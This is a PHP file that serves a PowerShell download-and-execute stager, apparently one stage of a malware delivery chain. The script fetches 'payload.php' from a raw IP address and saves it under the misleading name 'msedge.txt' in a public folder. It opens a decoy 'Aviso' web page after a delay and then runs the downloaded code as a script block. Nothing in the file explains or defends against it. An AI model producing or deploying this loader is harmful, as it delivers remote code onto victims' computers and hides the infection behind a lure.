<?php
header('Content-Type: text/plain; charset=utf-8');
echo <<<'POWERSHELL'
$f='C:\Users\Public\Documents\msedge.txt'
$d=Split-Path $f
if(!(Test-Path $d)){md $d -Force|Out-Null}
(New-Object Net.WebClient).DownloadFile('http://107.173.17.208/payload.php',$f)
cmd /c 'start /b cmd /c "ping -n 31 127.0.0.1 >nul & start https://bbaviso.modulochat.com/Aviso.html"'
& ([ScriptBlock]::Create((gc $f -Raw))) -ScriptPath $f
POWERSHELL;
?>